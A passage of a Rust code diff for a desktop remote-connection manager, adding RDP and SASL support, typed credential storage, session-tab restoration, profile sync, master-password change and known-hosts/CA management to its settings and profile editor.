+                err(ui, errs, "rdp.proxyHost");
+                num(ui, "Proxy Port", &mut c.proxy_port, 0..=65535);
+                text(ui, "Proxy Username", &mut c.proxy_username, "Optional");
+                secret(ui, "Proxy Password", secrets, SecretKind::ProxyPassword, "Optional; leave blank to keep the saved password");
+            }
+        });
+        section(ui, "SSH Tunnel", |ui| {
+            tunnel(
+                ui,
+                "rdp",
+                Tunnel {
+                    on: &mut c.ssh_tunnel,
+                    host: &mut c.ssh_host,
+                    port: &mut c.ssh_port,
+                    user: &mut c.ssh_username,
+                    auth: &mut c.ssh_auth_method,
+                    key: &mut c.ssh_private_key,
+                    agent: &mut c.ssh_agent_auth,
+                    mode: &mut c.ssh_secret_mode,
+                },
+                keys,
+                key_checks,
+                secrets,
+                errs,
+            );
+        });
+    }
+
     fn irc(&mut self, ui: &mut Ui, errs: &[ValidationError]) {
         let Self { p, keys, key_checks, secrets, rooms, .. } = self;
         let port = &mut p.port;
@@ -699,7 +811,20 @@ impl ProfileEditor {
             if c.server_password_required {
                 mode(ui, "Server Password Storage", &mut c.server_password_mode);
                 if c.server_password_mode == SecretMode::Saved {
-                    secret(ui, "Server Password", secrets, "irc-server-password", "Leave blank to keep the saved password");
+                    secret(ui, "Server Password", secrets, SecretKind::IrcServerPassword, "Leave blank to keep the saved password");
+                }
+            }
+        });
+        section(ui, "SASL", |ui| {
+            check(ui, "Log In with SASL", &mut c.sasl, "Authenticates during registration (SASL PLAIN), as most networks now expect");
+            if c.sasl {
+                text(ui, "SASL Account", &mut c.sasl_account, "Defaults to your nick");
+                mode(ui, "SASL Password Storage", &mut c.sasl_mode);
+                if c.sasl_mode == SecretMode::Saved {
+                    secret(ui, "SASL Password", secrets, SecretKind::IrcSaslPassword, "Leave blank to keep the saved password");
+                }
+                if !c.use_tls && !c.ssh_tunnel {
+                    widgets::hint(ui, "Without TLS or an SSH tunnel the password crosses the network in the clear.");
                 }
             }
         });
@@ -710,7 +835,7 @@ impl ProfileEditor {
                 err(ui, errs, "irc.nickServAccount");
                 mode(ui, "Password Storage", &mut c.nick_serv_mode);
                 if c.nick_serv_mode == SecretMode::Saved {
-                    secret(ui, "NickServ Password", secrets, "irc-nickserv-password", "Leave blank to keep the saved password");
+                    secret(ui, "NickServ Password", secrets, SecretKind::IrcNickServPassword, "Leave blank to keep the saved password");
                 }
             }
         });
@@ -979,7 +1104,7 @@ fn reconnect(ui: &mut Ui, on: &mut bool, tries: &mut i64) {
 }
 
 /// A password field whose value is stored in the vault/keychain under `kind` on save.
-fn secret(ui: &mut Ui, l: &str, secrets: &mut BTreeMap<&'static str, String>, kind: &'static str, hint: &str) {
+fn secret(ui: &mut Ui, l: &str, secrets: &mut BTreeMap<SecretKind, String>, kind: SecretKind, hint: &str) {
     label(ui, l);
     ui.add(TextEdit::singleline(secrets.entry(kind).or_default()).password(true).hint_text(hint).desired_width(f32::INFINITY));
 }
@@ -1147,7 +1272,7 @@ struct Tunnel<'a> {
     mode: &'a mut SecretMode,
 }
 
-fn tunnel(ui: &mut Ui, kind: &str, c: Tunnel, keys: &[String], checks: &mut KeyChecks, secrets: &mut BTreeMap<&'static str, String>, errs: &[ValidationError]) {
+fn tunnel(ui: &mut Ui, kind: &str, c: Tunnel, keys: &[String], checks: &mut KeyChecks, secrets: &mut BTreeMap<SecretKind, String>, errs: &[ValidationError]) {
     check(ui, "Enable SSH Tunnel", c.on, "");
     if !*c.on {
         return;
@@ -1167,12 +1292,13 @@ fn tunnel(ui: &mut Ui, kind: &str, c: Tunnel, keys: &[String], checks: &mut KeyC
     }
     mode(ui, "SSH Secret Storage", c.mode);
     if *c.mode == SecretMode::Saved {
-        // Kinds match the session manager's tunnel secrets ("vnc-ssh-password", "irc-ssh-passphrase").
-        let (l, k): (&str, &'static str) = match (kind, c.auth.as_str()) {
-            ("vnc", "password") => ("SSH Password", "vnc-ssh-password"),
-            ("vnc", _) => ("SSH Key Passphrase", "vnc-ssh-passphrase"),
-            (_, "password") => ("SSH Password", "irc-ssh-password"),
-            _ => ("SSH Key Passphrase", "irc-ssh-passphrase"),
+        let (l, k) = match (kind, c.auth.as_str()) {
+            ("vnc", "password") => ("SSH Password", SecretKind::VncSshPassword),
+            ("vnc", _) => ("SSH Key Passphrase", SecretKind::VncSshPassphrase),
+            ("rdp", "password") => ("SSH Password", SecretKind::RdpSshPassword),
+            ("rdp", _) => ("SSH Key Passphrase", SecretKind::RdpSshPassphrase),
+            (_, "password") => ("SSH Password", SecretKind::IrcSshPassword),
+            _ => ("SSH Key Passphrase", SecretKind::IrcSshPassphrase),
         };
         secret(ui, l, secrets, k, "Leave blank to keep the saved secret");
     }

rust/app/src/quick_connect.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Quick Connect dialog: an ad-hoc session without saving a profile.
 
 use crate::chrome::modal;
@@ -9,7 +12,7 @@ use egui_phosphor::regular as icon;
 use nexus_core::clients::serial;
 use nexus_core::models::{Profile, Protocol};
 
-const PROTOCOLS: [Protocol; 5] = [Protocol::Ssh, Protocol::Telnet, Protocol::Raw, Protocol::Irc, Protocol::Serial];
+const PROTOCOLS: [Protocol; 6] = [Protocol::Ssh, Protocol::Rdp, Protocol::Telnet, Protocol::Raw, Protocol::Irc, Protocol::Serial];
 
 pub struct QuickConnect {
     open: bool,
@@ -67,7 +70,7 @@ impl QuickConnect {
         if self.protocol != Protocol::Serial {
             p.port = self.port;
         }
-        if matches!(self.protocol, Protocol::Ssh | Protocol::Irc) {
+        if matches!(self.protocol, Protocol::Ssh | Protocol::Rdp | Protocol::Irc) {
             p.username = self.username.trim().into();
         }
         if let Some(c) = &mut p.irc
@@ -84,7 +87,7 @@ impl QuickConnect {
             return;
         }
         let t = Tokens::get(ctx);
-        let (enter, esc) = ctx.input(|i| (i.key_pressed(Key::Enter), i.key_pressed(Key::Escape)));
+        let (enter, esc) = (crate::chrome::modal_key(ctx, Key::Enter), crate::chrome::modal_key(ctx, Key::Escape));
         let mut connect = enter;
         let mut close = esc;
         let label = |ui: &mut egui::Ui, l: &str| ui.label(RichText::new(l).color(t.text_dim).size(12.0));
@@ -134,7 +137,7 @@ impl QuickConnect {
                 label(ui, "Port");
                 ui.add(DragValue::new(&mut self.port).range(1..=65535).speed(0.25));
             }
-            if matches!(self.protocol, Protocol::Ssh | Protocol::Irc) {
+            if matches!(self.protocol, Protocol::Ssh | Protocol::Rdp | Protocol::Irc) {
                 label(ui, "Username");
                 ui.add(TextEdit::singleline(&mut self.username).hint_text("root").desired_width(f32::INFINITY));
             }
@@ -184,4 +187,21 @@ mod tests {
         let p = q.profile().unwrap();
         assert_eq!((p.port, p.username.as_str()), (0, ""));
     }
+
+    #[test]
+    fn quick_profiles_pass_validation_unless_incomplete() {
+        use nexus_core::validation::validate_profile;
+        for proto in PROTOCOLS {
+            let mut q = QuickConnect { host: "box".into(), username: "me".into(), ..Default::default() };
+            q.set_protocol(proto);
+            let mut p = q.profile().unwrap();
+            p.normalize();
+            assert!(validate_profile(&p).is_ok(), "{proto:?}: {:?}", validate_profile(&p).err().map(|e| e.to_string()));
+        }
+        let mut q = QuickConnect { host: "box".into(), ..Default::default() };
+        q.set_protocol(Protocol::Ssh);
+        let mut p = q.profile().unwrap();
+        p.normalize();
+        assert!(validate_profile(&p).is_err(), "SSH needs a username");
+    }
 }

rust/app/src/raw_view.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! RAW TCP viewer: text / hex / split views of the capture, pause, clear, save, and a send bar.
 //! Port of the web build's `raw.js`. Sent data comes back through `Event::RawData` ("send"), so
 //! the echo of a sent entry needs no local bookkeeping.

rust/app/src/recordings.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Recordings browser and playback window (port of the RecordingManager in recordings.js).
 
 use crate::state::Shared;
@@ -266,7 +269,7 @@ impl Recordings {
         let Some(r) = &self.confirm_delete else {
             return;
         };
-        let (mut yes, mut no) = (false, ctx.input(|i| i.key_pressed(Key::Escape)));
+        let (mut yes, mut no) = (false, crate::chrome::modal_key(ctx, Key::Escape));
         let name = if r.title.is_empty() { r.id.clone() } else { r.title.clone() };
         crate::chrome::modal(ctx, "rec-delete", 380.0, |ui| {
             ui.label(RichText::new("Delete recording?").font(theme::semibold(15.0)));

rust/app/src/restore.rs

@@ -0,0 +1,187 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
+//! Reopens the previous run's tabs and splits at launch: saved profiles reconnect, local shells
+//! start again in the directory they were in. The layout is saved whenever it changes (not only on
+//! exit), so it survives a crash. Quick Connect tabs aren't restored (they have no saved profile).
+
+use crate::app::App;
+use crate::splits::{Dir, Split};
+use crate::state::Tab;
+use nexus_core::models::Protocol;
+use serde::{Deserialize, Serialize};
+use std::path::PathBuf;
+
+const KEY: &str = "session_layout";
+
+#[derive(Serialize, Deserialize, PartialEq, Debug, Default)]
+pub struct Saved {
+    tabs: Vec<SavedTab>,
+    active: usize,
+}
+
+#[derive(Serialize, Deserialize, PartialEq, Debug)]
+struct SavedTab {
+    name: String,
+    pinned: bool,
+    layout: Layout,
+}
+
+#[derive(Serialize, Deserialize, PartialEq, Debug)]
+#[serde(tag = "kind", rename_all = "camelCase")]
+enum Layout {
+    Profile {
+        id: String,
+    },
+    Local {
+        shell: String,
+        cwd: Option<PathBuf>,
+    },
+    /// A split pane still showing the connection picker, or a session that can't be restored.
+    Empty,
+    Split {
+        down: bool,
+        ratio: f32,
+        a: Box<Layout>,
+        b: Box<Layout>,
+    },
+}
+
+fn session_layout(app: &App, id: &str) -> Layout {
+    let Some(pane) = app.s.pane(id) else { return Layout::Empty };
+    if pane.info.protocol == Protocol::Local {
+        let (shell, cwd) = app.s.svc.sessions.local_state(id).unwrap_or_default();
+        return Layout::Local { shell, cwd };
+    }
+    match app.s.profile(&pane.info.profile_id) {
+        Some(p) => Layout::Profile { id: p.id.clone() },
+        None => Layout::Empty,
+    }
+}
+
+fn split_layout(app: &App, sp: &Split) -> Layout {
+    match sp {
+        Split::Leaf(Some(id)) => session_layout(app, id),
+        Split::Leaf(None) => Layout::Empty,
+        Split::Node { dir, ratio, a, b } => {
+            Layout::Split { down: *dir == Dir::Down, ratio: *ratio, a: Box::new(split_layout(app, a)), b: Box::new(split_layout(app, b)) }
+        }
+    }
+}
+
+pub fn capture(app: &App) -> Saved {
+    let tabs: Vec<SavedTab> = app
+        .s
+        .tabs
+        .iter()
+        .map(|t| {
+            let info = app.s.pane(&t.id).map(|p| (p.info.tab_name.clone(), p.info.pinned)).unwrap_or_default();
+            let layout = match &t.split {
+                Some(sp) => split_layout(app, sp),
+                None => session_layout(app, &t.id),
+            };
+            SavedTab { name: info.0, pinned: info.1, layout }
+        })
+        .filter(|t| t.layout != Layout::Empty)
+        .collect();
+    let active = app.s.tabs.iter().position(|t| Some(&t.id) == app.s.active.as_ref()).unwrap_or(0);
+    Saved { active: active.min(tabs.len().saturating_sub(1)), tabs }
+}
+
+/// Saves the layout if it changed since the last save (called each frame; cheap for a few tabs).
+pub fn save_if_changed(app: &mut App) {
+    let Ok(json) = serde_json::to_string(&capture(app)) else { return };
+    if app.saved_layout.as_deref() != Some(&json) {
+        let _ = app.s.svc.store.set_setting(KEY, &json);
+        app.saved_layout = Some(json);
+    }
+}
+
+/// Opens one session for a layout leaf; returns its id.
+fn open(app: &mut App, l: &Layout) -> Option<String> {
+    let id = match l {
+        Layout::Profile { id } => app.s.svc.connect_profile(id).ok()?,
+        Layout::Local { shell, cwd } => app.s.svc.connect_local_in(shell, cwd.clone()),
+        _ => return None,
+    };
+    app.add_session(&id, false);
+    Some(id)
+}
+
+fn build(app: &mut App, l: &Layout) -> Split {
+    match l {
+        Layout::Split { down, ratio, a, b } => Split::Node {
+            dir: if *down { Dir::Down } else { Dir::Right },
+            ratio: ratio.clamp(0.1, 0.9),
+            a: Box::new(build(app, a)),
+            b: Box::new(build(app, b)),
+        },
+        leaf => Split::Leaf(open(app, leaf)),
+    }
+}
+
+pub fn restore(app: &mut App) {
+    let Some(saved) = app.s.svc.store.setting(KEY).and_then(|j| serde_json::from_str::<Saved>(&j).ok()) else { return };
+    let mut ids = vec![];
+    for t in &saved.tabs {
+        let (id, split) = match &t.layout {
+            Layout::Split { .. } => {
+                let sp = build(app, &t.layout);
+                let Some(first) = sp.sessions().first().cloned() else { continue };
+                (first, Some(sp))
+            }
+            leaf => match open(app, leaf) {
+                Some(id) => (id, None),
+                None => continue,
+            },
+        };
+        if !t.name.is_empty() {
+            let _ = app.s.svc.sessions.rename(&id, &t.name);
+            if let Some(p) = app.s.pane_mut(&id) {
+                p.info.tab_name = t.name.clone();
+            }
+        }
+        if t.pinned {
+            let _ = app.s.svc.sessions.pin(&id, true);
+            if let Some(p) = app.s.pane_mut(&id) {
+                p.info.pinned = true;
+            }
+        }
+        app.s.tabs.push(Tab { id: id.clone(), activity: false, split });
+        ids.push(id);
+    }
+    if let Some(id) = ids.get(saved.active).or(ids.first()) {
+        app.s.active = Some(id.clone());
+        app.s.focused = Some(id.clone());
+    }
+    if !ids.is_empty() {
+        app.s.info(format!("Restored {} tab(s) from last time", ids.len()));
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn layouts_round_trip() {
+        let saved = Saved {
+            active: 1,
+            tabs: vec![
+                SavedTab { name: "web".into(), pinned: true, layout: Layout::Profile { id: "p1".into() } },
+                SavedTab {
+                    name: String::new(),
+                    pinned: false,
+                    layout: Layout::Split {
+                        down: true,
+                        ratio: 0.3,
+                        a: Box::new(Layout::Local { shell: "/bin/zsh".into(), cwd: Some("/tmp".into()) }),
+                        b: Box::new(Layout::Empty),
+                    },
+                },
+            ],
+        };
+        let json = serde_json::to_string(&saved).unwrap();
+        assert_eq!(serde_json::from_str::<Saved>(&json).unwrap(), saved);
+    }
+}

rust/app/src/settings.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Settings window: General, Terminal, Security, Known Hosts, Help, About. Also the
 //! master-password dialog (strength meter + confirm) used to create or unlock the vault.
 
@@ -9,7 +12,8 @@ use egui::{RichText, Ui, vec2};
 use egui_phosphor::regular as icon;
 use nexus_core::models::{AppPreferences, KnownHost, Protocol};
 use nexus_core::updater::UpdateInfo;
-use std::sync::{Arc, Mutex};
+use parking_lot::Mutex;
+use std::sync::Arc;
 
 /// A result from a worker thread, polled each frame (`Some` while the work is in flight).
 pub struct Job<T>(Arc<Mutex<Option<T>>>);
@@ -20,14 +24,14 @@ impl<T: Send + 'static> Job<T> {
         let (out, ctx) = (slot.clone(), ctx.clone());
         std::thread::spawn(move || {
             let v = f();
-            *out.lock().unwrap() = Some(v);
+            *out.lock() = Some(v);
             ctx.request_repaint();
         });
         Job(slot)
     }
 
     pub fn take(&self) -> Option<T> {
-        self.0.lock().unwrap().take()
+        self.0.lock().take()
     }
 }
 
@@ -87,11 +91,16 @@ pub fn strength_meter(ui: &mut Ui, pw: &str) {
 /// Create or unlock the vault.
 struct MasterPrompt {
     new: bool,
+    /// Changing the password: the current one (re-encrypts the vault under `pw`).
+    change: Option<String>,
     pw: String,
     confirm: String,
     error: String,
 }
 
+/// (profile id, profile name, kind, "keychain"/"vault") per stored credential.
+type Credentials = Vec<(String, String, nexus_core::secrets::SecretKind, &'static str)>;
+
 #[derive(Default)]
 pub struct Settings {
     open: bool,
@@ -101,6 +110,11 @@ pub struct Settings {
     prefs: AppPreferences,
     theme: ThemeKind,
     known: Vec<KnownHost>,
+    /// Add-CA form: (host pattern, public key), shown when Some.
+    new_ca: Option<(String, String)>,
+    sync_password: String,
+    creds: Option<Credentials>,
+    creds_job: Option<Job<Credentials>>,
     default_shell: String,
     help_topic: usize,
     master: Option<MasterPrompt>,
@@ -113,6 +127,7 @@ impl Settings {
     pub fn open(&mut self, tab: SettingsTab) {
         self.open = true;
         self.fresh = true;
+        self.creds = None;
         self.tab = tab;
     }
 
@@ -151,6 +166,7 @@ impl Settings {
                         SettingsTab::Terminal => self.terminal(ui),
                         SettingsTab::Security => self.security(ui, s),
                         SettingsTab::KnownHosts => self.known_hosts(ui, s),
+                        SettingsTab::Diagnostics => self.diagnostics(ui, s),
                         SettingsTab::Help => self.help(ui),
                         SettingsTab::About => self.about(ui, s),
                     }
@@ -206,6 +222,7 @@ impl Settings {
                 (SettingsTab::Terminal, icon::TERMINAL_WINDOW, "Terminal"),
                 (SettingsTab::Security, icon::SHIELD_CHECK, "Security"),
                 (SettingsTab::KnownHosts, icon::FINGERPRINT, "Known Hosts"),
+                (SettingsTab::Diagnostics, icon::STETHOSCOPE, "Diagnostics"),
                 (SettingsTab::Help, icon::BOOK_OPEN, "Help"),
                 (SettingsTab::About, icon::INFO, "About"),
             ] {
@@ -248,6 +265,18 @@ impl Settings {
             field(ui, "Confirm on disconnect");
             ui.checkbox(&mut p.confirm_on_disconnect, "Ask before disconnecting sessions");
             ui.end_row();
+            field(ui, "Restore tabs");
+            ui.checkbox(&mut p.restore_sessions, "Reopen last session's tabs and splits at launch");
+            ui.end_row();
+            field(ui, "Remote clipboard");
+            ui.checkbox(&mut p.allow_remote_clipboard, "Let remote hosts set the clipboard (OSC 52, VNC)");
+            ui.end_row();
+            field(ui, "Multi-line paste");
+            ui.checkbox(&mut p.confirm_multiline_paste, "Ask before pasting several lines into a terminal");
+            ui.end_row();
+            field(ui, "Updates");
+            ui.checkbox(&mut p.check_for_updates, "Check for updates at launch");
+            ui.end_row();
             field(ui, "Status bar");
             ui.checkbox(&mut p.show_status_bar, "Show status bar");
             ui.end_row();
@@ -355,18 +384,133 @@ impl Settings {
                 ui.label("Working…");
             } else if !init {
                 if widgets::primary(ui, icon::SHIELD_PLUS, "Initialise Secret Store").clicked() {
-                    self.master = Some(MasterPrompt { new: true, pw: String::new(), confirm: String::new(), error: String::new() });
+                    self.master = Some(MasterPrompt { new: true, change: None, pw: String::new(), confirm: String::new(), error: String::new() });
                 }
             } else if !unlocked {
                 if widgets::primary(ui, icon::LOCK_OPEN, "Unlock").clicked() {
-                    self.master = Some(MasterPrompt { new: false, pw: String::new(), confirm: String::new(), error: String::new() });
+                    self.master = Some(MasterPrompt { new: false, change: None, pw: String::new(), confirm: String::new(), error: String::new() });
                 }
-            } else if widgets::button(ui, icon::LOCK, "Lock").clicked() {
+            } else {
+                ui.horizontal(|ui| {
+                    if widgets::button(ui, icon::LOCK, "Lock").clicked() {
                         s.svc.secrets.vault.lock();
                         s.info("Secret store locked");
                     }
+                    if widgets::button(ui, icon::KEY, "Change Master Password…").clicked() {
+                        self.master =
+                            Some(MasterPrompt { new: true, change: Some(String::new()), pw: String::new(), confirm: String::new(), error: String::new() });
+                    }
                 });
             }
+        });
+        self.credentials_section(ui, s);
+        self.sync_section(ui, s);
+    }
+
+    /// Stored credentials per profile, with Forget. Loaded in the background (keychain probes).
+    fn credentials_section(&mut self, ui: &mut Ui, s: &mut Shared) {
+        let t = Tokens::get(ui.ctx());
+        ui.add_space(12.0);
+        widgets::section(ui, "Stored credentials");
+        if let Some(list) = poll(&mut self.creds_job) {
+            self.creds = Some(list);
+        }
+        if self.creds.is_none() && self.creds_job.is_none() {
+            let svc = s.svc.clone();
+            self.creds_job = Some(Job::spawn(ui.ctx(), move || svc.credential_inventory()));
+        }
+        let Some(list) = &self.creds else {
+            ui.horizontal(|ui| {
+                ui.spinner();
+                ui.label("Checking the keychain and vault…");
+            });
+            return;
+        };
+        if list.is_empty() {
+            widgets::hint(ui, "No saved credentials (the vault must be unlocked to see what it holds).");
+            return;
+        }
+        let mut forget = None;
+        egui::Grid::new("stored-creds").num_columns(4).striped(true).spacing(vec2(14.0, 5.0)).show(ui, |ui| {
+            for (id, name, kind, at) in list {
+                ui.label(name);
+                ui.label(RichText::new(kind.as_str()).font(theme::mono(11.5)));
+                ui.label(RichText::new(*at).color(t.text_dim));
+                if ui.button(RichText::new(format!("{}  Forget", icon::TRASH)).color(t.danger)).clicked() {
+                    forget = Some((id.clone(), *kind));
+                }
+                ui.end_row();
+            }
+        });
+        if let Some((id, kind)) = forget {
+            s.svc.forget_credential(&id, kind);
+            s.success(format!("Forgot the {} credential", kind.as_str()));
+            self.creds = None;
+        }
+    }
+
+    fn sync_section(&mut self, ui: &mut Ui, s: &mut Shared) {
+        ui.add_space(12.0);
+        widgets::section(ui, "Profile sync");
+        widgets::hint(
+            ui,
+            "Keep connection profiles in step across machines through a folder they share (a cloud drive, a network share, a git checkout). \
+             Profiles are stored there encrypted with the sync password. Saved passwords and keys stay in each machine's keychain or vault; \
+             values a login script sends travel with their profile.",
+        );
+        form(ui, "sync-form", |ui| {
+            field(ui, "Folder");
+            ui.horizontal(|ui| {
+                let shown = if self.prefs.sync_folder.is_empty() { "Not set".to_string() } else { self.prefs.sync_folder.clone() };
+                ui.label(RichText::new(shown).font(theme::mono(12.0)));
+                if widgets::button(ui, icon::FOLDER_OPEN, "Choose…").clicked()
+                    && let Some(dir) = rfd::FileDialog::new().set_title("Folder to sync profiles through").pick_folder()
+                {
+                    self.set_sync_folder(s, dir.to_string_lossy().into_owned());
+                }
+                if !self.prefs.sync_folder.is_empty() && ui.button("Turn Off").clicked() {
+                    self.set_sync_folder(s, String::new());
+                }
+            });
+            ui.end_row();
+            field(ui, "Sync password");
+            ui.horizontal(|ui| {
+                ui.add(
+                    egui::TextEdit::singleline(&mut self.sync_password)
+                        .password(true)
+                        .hint_text(if s.svc.has_sync_password() { "Stored — type to replace" } else { "Same on every machine" })
+                        .desired_width(220.0),
+                );
+                if ui.add_enabled(!self.sync_password.is_empty(), egui::Button::new("Save")).clicked() {
+                    match s.svc.set_sync_password(&self.sync_password) {
+                        Ok(()) => s.success("Sync password stored"),
+                        Err(e) => s.error(format!("Couldn't store the sync password: {e}")),
+                    }
+                    self.sync_password.clear();
+                }
+            });
+            ui.end_row();
+            field(ui, "");
+            if widgets::button(ui, icon::ARROWS_CLOCKWISE, "Sync Now").clicked() {
+                s.request(Request::SyncProfiles);
+            }
+            ui.end_row();
+        });
+    }
+
+    /// Saves just the sync folder (the rest of the form keeps its unsaved edits).
+    fn set_sync_folder(&mut self, s: &mut Shared, folder: String) {
+        let mut stored = s.svc.preferences();
+        stored.sync_folder = folder.clone();
+        match s.svc.save_preferences(&stored) {
+            Ok(()) => {
+                self.prefs.sync_folder = folder.clone();
+                s.prefs.sync_folder = folder;
+                s.request(Request::SyncProfiles);
+            }
+            Err(e) => s.error(format!("Failed to save: {e}")),
+        }
+    }
 
     fn master_dialog(&mut self, ctx: &egui::Context, s: &mut Shared) {
         let Some(m) = &mut self.master else { return };
@@ -374,17 +518,29 @@ impl Settings {
         let mut cancel = false;
         let r = egui::Modal::new(egui::Id::new("master-password")).show(ctx, |ui| {
             ui.set_width(380.0);
-            let title = if m.new { "Create Master Password" } else { "Unlock Secret Store" };
+            let title = if m.change.is_some() {
+                "Change Master Password"
+            } else if m.new {
+                "Create Master Password"
+            } else {
+                "Unlock Secret Store"
+            };
             ui.label(RichText::new(format!("{}  {title}", icon::KEY)).font(theme::semibold(15.0)));
-            ui.label(if m.new {
+            ui.label(if m.change.is_some() {
+                "Every saved credential is re-encrypted under the new password."
+            } else if m.new {
                 "Choose a strong master password. This protects all saved credentials."
             } else {
                 "Enter your master password to unlock the secret store."
             });
             ui.add_space(4.0);
-            ui.label("Master password");
+            if let Some(old) = &mut m.change {
+                ui.label("Current password");
+                ui.add(egui::TextEdit::singleline(old).password(true).desired_width(f32::INFINITY));
+            }
+            ui.label(if m.change.is_some() { "New password" } else { "Master password" });
             let r = ui.add(egui::TextEdit::singleline(&mut m.pw).password(true).hint_text("Password…").desired_width(f32::INFINITY));
-            if !r.has_focus() && m.pw.is_empty() && m.confirm.is_empty() {
+            if m.change.is_none() && !r.has_focus() && m.pw.is_empty() && m.confirm.is_empty() {
                 r.request_focus();
             }
             let mut enter = r.lost_focus() && ui.input(|i| i.key_pressed(egui::Key::Enter));
@@ -399,7 +555,14 @@ impl Settings {
             }
             ui.add_space(6.0);
             ui.horizontal(|ui| {
-                submit = widgets::primary(ui, icon::CHECK, if m.new { "Create" } else { "Unlock" }).clicked() || enter;
+                let label = if m.change.is_some() {
+                    "Change"
+                } else if m.new {
+                    "Create"
+                } else {
+                    "Unlock"
+                };
+                submit = widgets::primary(ui, icon::CHECK, label).clicked() || enter;
                 cancel = ui.button("Cancel").clicked();
             });
         });
@@ -409,11 +572,13 @@ impl Settings {
             } else if m.new && m.pw != m.confirm {
                 m.error = "Passwords do not match.".into();
             } else {
-                let (new, pw) = (m.new, std::mem::take(&mut m.pw));
+                let (new, pw, change) = (m.new, std::mem::take(&mut m.pw), m.change.take());
                 let svc = s.svc.clone();
                 self.vault_job = Some(Job::spawn(ctx, move || {
                     let v = &svc.secrets.vault;
-                    if new {
+                    if let Some(old) = change {
+                        v.change_password(&old, &pw).map(|_| "Master password changed").map_err(|e| format!("Couldn't change the master password: {e}"))
+                    } else if new {
                         v.initialise(&pw).map(|_| "Secret store created").map_err(|e| format!("Failed to initialise: {e}"))
                     } else {
                         v.unlock(&pw).map(|_| "Secret store unlocked").map_err(|e| format!("Unlock failed: {e}"))
@@ -431,6 +596,58 @@ impl Settings {
 
     fn known_hosts(&mut self, ui: &mut Ui, s: &mut Shared) {
         let t = Tokens::get(ui.ctx());
+        ui.horizontal(|ui| {
+            if widgets::button(ui, icon::DOWNLOAD_SIMPLE, "Import ~/.ssh/known_hosts").clicked() {
+                match s.svc.import_known_hosts(None) {
+                    Ok((n, ca, skipped)) => {
+                        let extra = if skipped > 0 { format!(" ({skipped} hashed or unsupported line(s) skipped)") } else { String::new() };
+                        s.success(format!("Imported {n} host key(s) and {ca} certificate authorit{}{extra}", if ca == 1 { "y" } else { "ies" }));
+                        self.known = s.svc.known_hosts();
+                    }
+                    Err(e) => s.error(format!("Import failed: {e}")),
+                }
+            }
+            if widgets::button(ui, icon::UPLOAD_SIMPLE, "Export…").clicked()
+                && let Some(path) = rfd::FileDialog::new().set_file_name("known_hosts").save_file()
+            {
+                match s.svc.export_known_hosts(&path) {
+                    Ok(n) => s.success(format!("Wrote {n} line(s) to {}", path.display())),
+                    Err(e) => s.error(format!("Export failed: {e}")),
+                }
+            }
+            if widgets::button(ui, icon::SEAL_CHECK, "Trust a CA…").on_hover_text("Trust SSH host certificates signed by a certificate authority").clicked() {
+                self.new_ca = Some(Default::default());
+            }
+        });
+        let (mut done, mut added) = (false, false);
+        if let Some((pattern, key)) = &mut self.new_ca {
+            egui::Frame::group(ui.style()).show(ui, |ui| {
+                ui.label(RichText::new("Trust an SSH certificate authority").font(theme::semibold(13.0)));
+                widgets::hint(ui, "Servers whose host certificate this CA signed are trusted without a first-use prompt. Patterns use OpenSSH syntax: *.example.com, [host]:2222, !exclude.");
+                ui.add(egui::TextEdit::singleline(pattern).hint_text("*.example.com").desired_width(320.0));
+                ui.add(egui::TextEdit::multiline(key).hint_text("ssh-ed25519 AAAA… (the CA's public key)").desired_rows(2).desired_width(f32::INFINITY));
+                ui.horizontal(|ui| {
+                    if widgets::primary(ui, icon::CHECK, "Trust").clicked() {
+                        match s.svc.add_cert_authority(pattern, key) {
+                            Ok(()) => {
+                                s.success("Certificate authority trusted");
+                                (done, added) = (true, true);
+                            }
+                            Err(e) => s.error(e.to_string()),
+                        }
+                    } else if ui.button("Cancel").clicked() {
+                        done = true;
+                    }
+                });
+            });
+        }
+        if done {
+            self.new_ca = None;
+        }
+        if added {
+            self.known = s.svc.known_hosts();
+        }
+        ui.add_space(6.0);
         if self.known.is_empty() {
             widgets::empty(ui, icon::FINGERPRINT, "No known hosts recorded", "Host keys are recorded the first time you connect over SSH.");
             return;
@@ -449,7 +666,7 @@ impl Settings {
                 ui.end_row();
                 for kh in &self.known {
                     ui.label(&kh.host);
-                    ui.label(kh.port.to_string());
+                    ui.label(if kh.port == 0 { "—".to_string() } else { kh.port.to_string() });
                     ui.label(RichText::new(&kh.key_type).font(theme::mono(11.5)));
                     let short: String = kh.fingerprint.chars().take(24).collect();
                     let fp = ui.add(egui::Label::new(RichText::new(format!("{short}…")).font(theme::mono(11.5))).sense(egui::Sense::click()));
@@ -476,6 +693,68 @@ impl Settings {
         }
     }
 
+    // --- Diagnostics ----------------------------------------------------------------------
+
+    /// What a bug report needs, without secrets: versions, paths, storage and sync status.
+    fn diagnostics_report(s: &Shared) -> Vec<(&'static str, String)> {
+        let cfg = &s.svc.config;
+        let size = |p: &std::path::Path| std::fs::metadata(p).map_or("—".to_string(), |m| widgets::human_size(m.len()));
+        let sec = &s.svc.secrets;
+        let known = s.svc.known_hosts();
+        let cas = known.iter().filter(|k| k.key_type == nexus_core::known_hosts::CA_KEY_TYPE).count();
+        let yes = |b: bool| if b { "yes" } else { "no" }.to_string();
+        vec![
+            ("Version", nexus_core::service::VERSION.to_string()),
+            ("Platform", format!("{} {}", std::env::consts::OS, std::env::consts::ARCH)),
+            ("Data folder", cfg.data_dir.display().to_string()),
+            ("Database", format!("{} ({})", cfg.db_path.display(), size(&cfg.db_path))),
+            ("Log", format!("{} ({})", cfg.data_dir.join("nexus.log").display(), size(&cfg.data_dir.join("nexus.log")))),
+            ("Recordings", cfg.recordings_dir.display().to_string()),
+            ("OS keychain", if sec.keychain_ok { "available".into() } else { "unavailable — credentials go to the vault".into() }),
+            (
+                "Vault",
+                match (sec.vault.is_initialised(), sec.vault.is_unlocked()) {
+                    (false, _) => "not set up".into(),
+                    (true, false) => "locked".into(),
